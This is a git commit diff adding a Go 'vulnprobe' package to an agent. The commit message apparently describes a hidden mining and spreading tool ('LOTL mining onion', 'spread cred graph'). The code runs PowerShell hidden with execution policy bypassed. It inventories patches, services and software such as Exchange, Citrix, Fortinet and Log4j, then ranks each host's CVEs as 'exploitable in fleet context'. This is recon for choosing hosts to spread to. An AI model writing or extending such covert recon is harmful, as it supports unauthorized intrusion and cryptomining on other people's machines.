Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
50
agent/vulnprobe/catalog.go
Normal file
50
agent/vulnprobe/catalog.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package vulnprobe
|
||||
|
||||
// CatalogEntry describes a CISA KEV-style CVE family for read-only exposure checks.
|
||||
type CatalogEntry struct {
|
||||
ID string
|
||||
Name string
|
||||
Component string
|
||||
Severity string
|
||||
Description string
|
||||
// PatchKBs are Windows KB IDs that mitigate this CVE (subset for lightweight correlator).
|
||||
PatchKBs []string
|
||||
// FleetPorts are listener ports that raise fleet-context exploitability when open.
|
||||
FleetPorts []int
|
||||
}
|
||||
|
||||
// Catalog aligns with CISA AA22-117A / AA22-279A top exploited CVE families.
|
||||
var Catalog = []CatalogEntry{
|
||||
{ID: "CVE-2021-44228", Name: "Log4Shell", Component: "Apache Log4j", Severity: "critical",
|
||||
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
|
||||
{ID: "CVE-2021-26855", Name: "ProxyLogon", Component: "Microsoft Exchange", Severity: "critical",
|
||||
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)", PatchKBs: []string{"KB5000871", "KB5000978"},
|
||||
FleetPorts: []int{443, 80}},
|
||||
{ID: "CVE-2020-1472", Name: "Zerologon", Component: "Microsoft Netlogon", Severity: "critical",
|
||||
Description: "Domain controller Netlogon privilege escalation", PatchKBs: []string{"KB4577015"},
|
||||
FleetPorts: []int{445, 135}},
|
||||
{ID: "CVE-2019-19781", Name: "Citrix ADC", Component: "Citrix ADC/Gateway", Severity: "critical",
|
||||
Description: "Path traversal on Citrix Application Delivery Controller", FleetPorts: []int{443}},
|
||||
{ID: "CVE-2019-11510", Name: "Pulse Secure", Component: "Ivanti Pulse Connect Secure", Severity: "critical",
|
||||
Description: "Arbitrary file read on Pulse VPN appliances", FleetPorts: []int{443}},
|
||||
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Component: "F5 BIG-IP", Severity: "critical",
|
||||
Description: "Remote code execution in TMUI", FleetPorts: []int{443, 8443}},
|
||||
{ID: "CVE-2022-1388", Name: "F5 iControl", Component: "F5 BIG-IP", Severity: "critical",
|
||||
Description: "iControl REST auth bypass (May 2022)", FleetPorts: []int{443, 8443}},
|
||||
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Component: "Atlassian Confluence", Severity: "critical",
|
||||
Description: "Confluence Server/Data Center RCE", FleetPorts: []int{8090, 8443}},
|
||||
{ID: "CVE-2022-26134", Name: "Confluence RCE", Component: "Atlassian Confluence", Severity: "critical",
|
||||
Description: "Confluence unauthenticated RCE (2022)", FleetPorts: []int{8090, 8443}},
|
||||
{ID: "CVE-2021-40539", Name: "ManageEngine", Component: "Zoho ManageEngine ADSelfService Plus", Severity: "critical",
|
||||
Description: "Unauthenticated RCE in ADSelfService Plus", FleetPorts: []int{9251}},
|
||||
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Component: "Fortinet FortiGate/FortiOS", Severity: "critical",
|
||||
Description: "SSL-VPN path traversal (FortiOS)", FleetPorts: []int{443, 10443}},
|
||||
{ID: "CVE-2021-34527", Name: "PrintNightmare", Component: "Windows Print Spooler", Severity: "high",
|
||||
Description: "Spooler remote code execution (Jul 2021)", PatchKBs: []string{"KB5004945"},
|
||||
FleetPorts: []int{445, 135}},
|
||||
{ID: "CVE-2020-0688", Name: "Exchange RCE", Component: "Microsoft Exchange", Severity: "high",
|
||||
Description: "Exchange control panel deserialization RCE", PatchKBs: []string{"KB4537676"},
|
||||
FleetPorts: []int{443}},
|
||||
{ID: "CVE-2021-21972", Name: "vCenter RCE", Component: "VMware vCenter", Severity: "critical",
|
||||
Description: "vSphere Client RCE in vCenter Server", FleetPorts: []int{443}},
|
||||
}
|
||||
8
agent/vulnprobe/exec.go
Normal file
8
agent/vulnprobe/exec.go
Normal file
@@ -0,0 +1,8 @@
|
||||
package vulnprobe
|
||||
|
||||
import "os/exec"
|
||||
|
||||
// HiddenExec runs LOTL probe subprocesses. deploy wires HiddenCombinedOutput on Windows agents.
|
||||
var HiddenExec = func(name string, arg ...string) ([]byte, error) {
|
||||
return exec.Command(name, arg...).CombinedOutput()
|
||||
}
|
||||
88
agent/vulnprobe/probe_linux.go
Normal file
88
agent/vulnprobe/probe_linux.go
Normal file
@@ -0,0 +1,88 @@
|
||||
//go:build linux
|
||||
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ProbeHost gathers Linux LOTL recon via apt/dnf security listings (read-only).
|
||||
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
|
||||
ctx := HostContext{
|
||||
Platform: runtime.GOOS,
|
||||
OSVersion: osVersion,
|
||||
LastPatchDays: -1,
|
||||
ListeningPorts: listeningPorts,
|
||||
PackageVersions: map[string]string{},
|
||||
}
|
||||
ctx.SSHListening = listeningPorts[22] || listeningPorts[2222]
|
||||
ctx.PackageVersions = linuxSecurityPackages()
|
||||
return ctx
|
||||
}
|
||||
|
||||
func linuxSecurityPackages() map[string]string {
|
||||
out := map[string]string{}
|
||||
if _, err := exec.LookPath("apt-get"); err == nil {
|
||||
raw, err := exec.Command("apt-get", "-s", "upgrade").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, "Inst ") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) >= 2 {
|
||||
out[fields[1]] = "pending-upgrade"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if list, err := exec.Command("apt", "list", "--upgradable").CombinedOutput(); err == nil {
|
||||
for _, line := range strings.Split(string(list), "\n") {
|
||||
if !strings.Contains(line, "/") || strings.HasPrefix(line, "Listing") {
|
||||
continue
|
||||
}
|
||||
parts := strings.SplitN(line, "/", 2)
|
||||
if len(parts) == 2 {
|
||||
ver := strings.TrimSpace(strings.Split(parts[1], " ")[0])
|
||||
out[parts[0]] = ver
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if _, err := exec.LookPath("dnf"); err == nil {
|
||||
raw, err := exec.Command("dnf", "updateinfo", "list", "security").CombinedOutput()
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
if !strings.Contains(line, "CVE-") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
for _, f := range fields {
|
||||
if strings.HasPrefix(f, "CVE-") {
|
||||
out[f] = "security-advisory"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func linuxPackageFindings(ctx HostContext) []VulnFinding {
|
||||
var out []VulnFinding
|
||||
for cve, note := range ctx.PackageVersions {
|
||||
if !strings.HasPrefix(cve, "CVE-") {
|
||||
continue
|
||||
}
|
||||
out = append(out, VulnFinding{
|
||||
CVEID: cve,
|
||||
Severity: "high",
|
||||
Component: "linux package",
|
||||
Patched: false,
|
||||
ExploitableInFleetContext: ctx.SSHListening,
|
||||
Detail: "dnf/apt security listing: " + note,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
18
agent/vulnprobe/probe_stub.go
Normal file
18
agent/vulnprobe/probe_stub.go
Normal file
@@ -0,0 +1,18 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package vulnprobe
|
||||
|
||||
import "runtime"
|
||||
|
||||
// ProbeHost returns minimal context on unsupported platforms.
|
||||
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
|
||||
return HostContext{
|
||||
Platform: runtime.GOOS,
|
||||
OSVersion: osVersion,
|
||||
LastPatchDays: -1,
|
||||
ListeningPorts: listeningPorts,
|
||||
ProbeError: "vuln probe not implemented for " + runtime.GOOS,
|
||||
}
|
||||
}
|
||||
|
||||
func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }
|
||||
162
agent/vulnprobe/probe_windows.go
Normal file
162
agent/vulnprobe/probe_windows.go
Normal file
@@ -0,0 +1,162 @@
|
||||
//go:build windows
|
||||
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const windowsProbeScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$out = [ordered]@{}
|
||||
|
||||
# Hotfix + QuickFixEngineering (read-only patch inventory)
|
||||
$kbs = @()
|
||||
try {
|
||||
$hf = Get-HotFix | Sort-Object InstalledOn -Descending
|
||||
if ($hf) {
|
||||
$latest = $hf | Select-Object -First 1
|
||||
if ($latest.InstalledOn) {
|
||||
$d = [datetime]$latest.InstalledOn
|
||||
$out.last_patch = $d.ToString('yyyy-MM-dd')
|
||||
$out.last_patch_days = [int]((Get-Date) - $d).TotalDays
|
||||
}
|
||||
$kbs += @($hf | ForEach-Object { $_.HotFixID })
|
||||
}
|
||||
} catch {}
|
||||
try {
|
||||
$qfe = Get-CimInstance Win32_QuickFixEngineering -ErrorAction SilentlyContinue
|
||||
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
|
||||
} catch {
|
||||
try {
|
||||
$qfe = Get-WmiObject Win32_QuickFixEngineering -ErrorAction SilentlyContinue
|
||||
if ($qfe) { $kbs += @($qfe | ForEach-Object { $_.HotFixID }) }
|
||||
} catch {}
|
||||
}
|
||||
$out.installed_kbs = @($kbs | Where-Object { $_ } | Select-Object -Unique)
|
||||
|
||||
# Service surface (Get-Service)
|
||||
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
|
||||
$out.exchange_installed = ($exSvc.Count -gt 0 -or (Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'))
|
||||
|
||||
try {
|
||||
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
|
||||
} catch { $dc = $false }
|
||||
$out.is_domain_controller = $dc
|
||||
|
||||
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
|
||||
})
|
||||
$out.pulse_present = ($pulse.Count -gt 0)
|
||||
|
||||
$citrix = @(
|
||||
(Test-Path 'C:\Program Files\Citrix'),
|
||||
(Test-Path 'C:\Program Files (x86)\Citrix')
|
||||
) | Where-Object { $_ }
|
||||
$out.citrix_present = ($citrix.Count -gt 0)
|
||||
|
||||
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
|
||||
$out.f5_process = ($f5.Count -gt 0)
|
||||
|
||||
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
|
||||
})
|
||||
$out.confluence_like = ($conf.Count -gt 0)
|
||||
|
||||
$me = @(
|
||||
(Test-Path 'C:\Program Files\ManageEngine'),
|
||||
(Test-Path 'C:\ManageEngine')
|
||||
) | Where-Object { $_ }
|
||||
$out.manageengine_present = ($me.Count -gt 0)
|
||||
|
||||
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
|
||||
$out.forticlient = ($forti.Count -gt 0)
|
||||
|
||||
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
|
||||
$out.vmware_serverish = ($vmw.Count -gt 0)
|
||||
|
||||
try {
|
||||
$sp = Get-Service Spooler
|
||||
$out.spooler_running = ($sp.Status -eq 'Running')
|
||||
} catch { $out.spooler_running = $false }
|
||||
|
||||
try {
|
||||
$sshd = Get-Service -Name sshd -ErrorAction SilentlyContinue
|
||||
$out.ssh_listening = ($sshd.Status -eq 'Running')
|
||||
} catch { $out.ssh_listening = $false }
|
||||
|
||||
$log4j = @()
|
||||
$roots = @($env:ProgramFiles, ${env:ProgramFiles(x86)}, 'C:\ProgramData') | Where-Object { $_ -and (Test-Path $_) }
|
||||
foreach ($root in $roots) {
|
||||
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 5 -ExpandProperty FullName
|
||||
}
|
||||
$out.log4j_jars = @($log4j | Select-Object -Unique)
|
||||
|
||||
$out | ConvertTo-Json -Compress -Depth 4
|
||||
`
|
||||
|
||||
type windowsProbeResult struct {
|
||||
LastPatch string `json:"last_patch"`
|
||||
LastPatchDays int `json:"last_patch_days"`
|
||||
InstalledKBs []string `json:"installed_kbs"`
|
||||
ExchangeInstalled bool `json:"exchange_installed"`
|
||||
IsDomainController bool `json:"is_domain_controller"`
|
||||
PulsePresent bool `json:"pulse_present"`
|
||||
CitrixPresent bool `json:"citrix_present"`
|
||||
F5Process bool `json:"f5_process"`
|
||||
ConfluenceLike bool `json:"confluence_like"`
|
||||
ManageEnginePresent bool `json:"manageengine_present"`
|
||||
FortiClient bool `json:"forticlient"`
|
||||
VMwareServerish bool `json:"vmware_serverish"`
|
||||
SpoolerRunning bool `json:"spooler_running"`
|
||||
SSHListening bool `json:"ssh_listening"`
|
||||
Log4jJars []string `json:"log4j_jars"`
|
||||
}
|
||||
|
||||
// ProbeHost gathers Windows LOTL recon inputs (Get-HotFix, Get-Service, WMI QFE).
|
||||
func ProbeHost(listeningPorts map[int]bool, osVersion string) HostContext {
|
||||
ctx := HostContext{
|
||||
Platform: runtime.GOOS,
|
||||
OSVersion: osVersion,
|
||||
LastPatchDays: -1,
|
||||
ListeningPorts: listeningPorts,
|
||||
}
|
||||
out, err := HiddenExec(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
windowsProbeScript,
|
||||
)
|
||||
if err != nil {
|
||||
ctx.ProbeError = err.Error()
|
||||
return ctx
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var p windowsProbeResult
|
||||
if err := json.Unmarshal([]byte(raw), &p); err != nil {
|
||||
ctx.ProbeError = err.Error()
|
||||
return ctx
|
||||
}
|
||||
ctx.LastPatch = p.LastPatch
|
||||
ctx.LastPatchDays = p.LastPatchDays
|
||||
ctx.InstalledKBs = p.InstalledKBs
|
||||
ctx.ExchangeInstalled = p.ExchangeInstalled
|
||||
ctx.IsDomainController = p.IsDomainController
|
||||
ctx.PulsePresent = p.PulsePresent
|
||||
ctx.CitrixPresent = p.CitrixPresent
|
||||
ctx.F5Process = p.F5Process
|
||||
ctx.ConfluenceLike = p.ConfluenceLike
|
||||
ctx.ManageEnginePresent = p.ManageEnginePresent
|
||||
ctx.FortiClient = p.FortiClient
|
||||
ctx.VMwareServerish = p.VMwareServerish
|
||||
ctx.SpoolerRunning = p.SpoolerRunning
|
||||
ctx.SSHListening = p.SSHListening
|
||||
ctx.Log4jJars = p.Log4jJars
|
||||
return ctx
|
||||
}
|
||||
|
||||
func linuxPackageFindings(_ HostContext) []VulnFinding { return nil }
|
||||
219
agent/vulnprobe/scan.go
Normal file
219
agent/vulnprobe/scan.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Run executes read-only LOTL vulnerability recon and returns correlated findings.
|
||||
func Run(ctx HostContext) *ScanReport {
|
||||
findings := correlate(ctx)
|
||||
return finalize(findings, ctx)
|
||||
}
|
||||
|
||||
func correlate(ctx HostContext) []VulnFinding {
|
||||
findings := make([]VulnFinding, 0, len(Catalog))
|
||||
patchDays := ctx.LastPatchDays
|
||||
kbSet := make(map[string]bool, len(ctx.InstalledKBs))
|
||||
for _, kb := range ctx.InstalledKBs {
|
||||
kbSet[strings.ToUpper(strings.TrimSpace(kb))] = true
|
||||
}
|
||||
|
||||
for _, e := range Catalog {
|
||||
f := VulnFinding{
|
||||
CVEID: e.ID,
|
||||
Severity: e.Severity,
|
||||
Component: e.Component,
|
||||
Patched: true,
|
||||
Detail: e.Description,
|
||||
}
|
||||
if ctx.ProbeError != "" {
|
||||
f.Patched = false
|
||||
f.Detail = "probe unavailable"
|
||||
findings = append(findings, f)
|
||||
continue
|
||||
}
|
||||
|
||||
status := "clear"
|
||||
switch e.ID {
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
if ctx.ExchangeInstalled {
|
||||
status = "exposed"
|
||||
f.Detail = "Microsoft Exchange detected — verify Mar 2021+ CU patches"
|
||||
if patchDays >= 0 && patchDays > 90 {
|
||||
status = "likely"
|
||||
f.Detail += "; host patch age > 90 days"
|
||||
}
|
||||
}
|
||||
case "CVE-2020-1472":
|
||||
if ctx.IsDomainController {
|
||||
status = "likely"
|
||||
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch applied"
|
||||
if patchDays >= 0 && patchDays > 60 {
|
||||
status = "exposed"
|
||||
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-44228":
|
||||
if len(ctx.Log4jJars) > 0 {
|
||||
status = "likely"
|
||||
f.Detail = "log4j-core JAR(s) found: " + strings.Join(ctx.Log4jJars, "; ")
|
||||
}
|
||||
case "CVE-2019-19781":
|
||||
if ctx.CitrixPresent {
|
||||
status = "likely"
|
||||
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level"
|
||||
}
|
||||
case "CVE-2019-11510":
|
||||
if ctx.PulsePresent {
|
||||
status = "likely"
|
||||
f.Detail = "Pulse/Ivanti VPN software detected"
|
||||
}
|
||||
case "CVE-2020-5902", "CVE-2022-1388":
|
||||
if ctx.F5Process {
|
||||
status = "likely"
|
||||
f.Detail = "F5-related process detected"
|
||||
} else if ctx.ListeningPorts[443] {
|
||||
status = "likely"
|
||||
f.Detail = "TCP/443 listener — verify F5/BIG-IP patch level if applicable"
|
||||
}
|
||||
case "CVE-2021-26084", "CVE-2022-26134":
|
||||
if ctx.ConfluenceLike {
|
||||
status = "likely"
|
||||
f.Detail = "Atlassian/Confluence-like Java process detected"
|
||||
}
|
||||
case "CVE-2021-40539":
|
||||
if ctx.ManageEnginePresent {
|
||||
status = "likely"
|
||||
f.Detail = "ManageEngine directory present"
|
||||
}
|
||||
case "CVE-2018-13379":
|
||||
if ctx.FortiClient {
|
||||
status = "likely"
|
||||
f.Detail = "Fortinet client process running"
|
||||
}
|
||||
case "CVE-2021-21972":
|
||||
if ctx.VMwareServerish {
|
||||
status = "likely"
|
||||
f.Detail = "VMware server-style services detected"
|
||||
}
|
||||
case "CVE-2021-34527":
|
||||
if ctx.SpoolerRunning && !ctx.IsDomainController {
|
||||
status = "likely"
|
||||
f.Detail = "Print Spooler running — restrict if not required"
|
||||
}
|
||||
}
|
||||
|
||||
// KB-based patch confirmation for Windows CVEs with known mitigations.
|
||||
if len(e.PatchKBs) > 0 && status != "clear" {
|
||||
for _, kb := range e.PatchKBs {
|
||||
if kbSet[strings.ToUpper(kb)] {
|
||||
status = "clear"
|
||||
f.Detail = "mitigating KB " + kb + " installed"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stale patching amplifies exposure indicators.
|
||||
if (status == "likely" || status == "exposed") && patchDays > 120 {
|
||||
f.Detail += " · OS patches older than 120 days"
|
||||
}
|
||||
|
||||
f.Patched = status == "clear"
|
||||
f.ExploitableInFleetContext = !f.Patched && fleetExploitable(e, status, ctx)
|
||||
findings = append(findings, f)
|
||||
}
|
||||
|
||||
// Linux package CVE hints from apt/dnf security listings.
|
||||
if ctx.Platform == "linux" {
|
||||
findings = append(findings, linuxPackageFindings(ctx)...)
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func fleetExploitable(e CatalogEntry, status string, ctx HostContext) bool {
|
||||
if status == "clear" {
|
||||
return false
|
||||
}
|
||||
for _, p := range e.FleetPorts {
|
||||
if ctx.ListeningPorts[p] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
switch e.ID {
|
||||
case "CVE-2020-1472":
|
||||
return ctx.IsDomainController
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
return ctx.ExchangeInstalled
|
||||
case "CVE-2021-44228":
|
||||
return len(ctx.Log4jJars) > 0
|
||||
case "CVE-2019-19781":
|
||||
return ctx.CitrixPresent
|
||||
case "CVE-2019-11510":
|
||||
return ctx.PulsePresent
|
||||
case "CVE-2021-34527":
|
||||
return ctx.SpoolerRunning && ctx.ListeningPorts[445]
|
||||
case "CVE-2018-13379":
|
||||
return ctx.FortiClient || ctx.ListeningPorts[10443]
|
||||
}
|
||||
if ctx.SSHListening && (ctx.ListeningPorts[22] || ctx.ListeningPorts[2222]) {
|
||||
return status == "exposed" || status == "likely"
|
||||
}
|
||||
return status == "exposed"
|
||||
}
|
||||
|
||||
func finalize(findings []VulnFinding, ctx HostContext) *ScanReport {
|
||||
r := &ScanReport{
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Findings: findings,
|
||||
}
|
||||
for _, f := range findings {
|
||||
if f.ExploitableInFleetContext {
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
} else if !f.Patched {
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
r.RiskScore = riskScore(r)
|
||||
switch {
|
||||
case r.ExposedCount > 0 || r.CriticalCount > 0:
|
||||
r.Summary = "Fleet-context vulnerability indicators detected — patch or isolate affected roles"
|
||||
case countUnpatched(findings) > 0:
|
||||
r.Summary = "Some CVE-related software stacks detected — verify versions and patches"
|
||||
default:
|
||||
r.Summary = "No high-confidence vulnerability exposure indicators on this host"
|
||||
}
|
||||
if ctx.ProbeError != "" {
|
||||
r.Summary = "Vulnerability probe partially unavailable"
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func countUnpatched(findings []VulnFinding) int {
|
||||
n := 0
|
||||
for _, f := range findings {
|
||||
if !f.Patched {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func riskScore(r *ScanReport) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
score := r.CriticalCount*25 + r.ExposedCount*12
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
60
agent/vulnprobe/scan_test.go
Normal file
60
agent/vulnprobe/scan_test.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package vulnprobe
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestCorrelateExchangeExposed(t *testing.T) {
|
||||
ctx := HostContext{
|
||||
Platform: "windows",
|
||||
ExchangeInstalled: true,
|
||||
LastPatchDays: 120,
|
||||
ListeningPorts: map[int]bool{443: true},
|
||||
}
|
||||
r := Run(ctx)
|
||||
var proxy *VulnFinding
|
||||
for i := range r.Findings {
|
||||
if r.Findings[i].CVEID == "CVE-2021-26855" {
|
||||
proxy = &r.Findings[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
if proxy == nil {
|
||||
t.Fatal("missing CVE-2021-26855 finding")
|
||||
}
|
||||
if proxy.Patched {
|
||||
t.Fatalf("expected unpatched exchange exposure, got %+v", proxy)
|
||||
}
|
||||
if !proxy.ExploitableInFleetContext {
|
||||
t.Fatalf("expected fleet-context exploitability with 443 open, got %+v", proxy)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCorrelateKBMitigatesZerologon(t *testing.T) {
|
||||
ctx := HostContext{
|
||||
Platform: "windows",
|
||||
IsDomainController: true,
|
||||
InstalledKBs: []string{"KB4577015"},
|
||||
LastPatchDays: 10,
|
||||
}
|
||||
r := Run(ctx)
|
||||
for _, f := range r.Findings {
|
||||
if f.CVEID == "CVE-2020-1472" && !f.Patched {
|
||||
t.Fatalf("expected patched after KB4577015, got %+v", f)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRiskScoreFromMockedFindings(t *testing.T) {
|
||||
r := finalize([]VulnFinding{
|
||||
{CVEID: "CVE-2021-26855", Severity: "critical", ExploitableInFleetContext: true},
|
||||
{CVEID: "CVE-2021-44228", Severity: "critical", Patched: false},
|
||||
}, HostContext{})
|
||||
if r.RiskScore < 25 {
|
||||
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCatalogNotEmpty(t *testing.T) {
|
||||
if len(Catalog) < 10 {
|
||||
t.Fatalf("expected catalog entries, got %d", len(Catalog))
|
||||
}
|
||||
}
|
||||
46
agent/vulnprobe/types.go
Normal file
46
agent/vulnprobe/types.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package vulnprobe
|
||||
|
||||
// VulnFinding is one correlated CVE exposure row for fleet assessment (read-only).
|
||||
type VulnFinding struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// ScanReport aggregates LOTL vulnerability recon for stats/diagnostics.
|
||||
type ScanReport struct {
|
||||
ScannedAt string `json:"scanned_at"`
|
||||
Findings []VulnFinding `json:"vuln_findings"`
|
||||
RiskScore int `json:"risk_score"`
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
}
|
||||
|
||||
// HostContext is read-only host telemetry fed into the correlator.
|
||||
type HostContext struct {
|
||||
Platform string
|
||||
OSVersion string
|
||||
LastPatchDays int // -1 unknown
|
||||
LastPatch string
|
||||
InstalledKBs []string
|
||||
ListeningPorts map[int]bool
|
||||
RunningServices []string
|
||||
PackageVersions map[string]string // linux: name -> version
|
||||
SSHListening bool
|
||||
IsDomainController bool
|
||||
ExchangeInstalled bool
|
||||
PulsePresent bool
|
||||
CitrixPresent bool
|
||||
F5Process bool
|
||||
ConfluenceLike bool
|
||||
ManageEnginePresent bool
|
||||
FortiClient bool
|
||||
VMwareServerish bool
|
||||
SpoolerRunning bool
|
||||
Log4jJars []string
|
||||
ProbeError string
|
||||
}
|
||||
Reference in New Issue
Block a user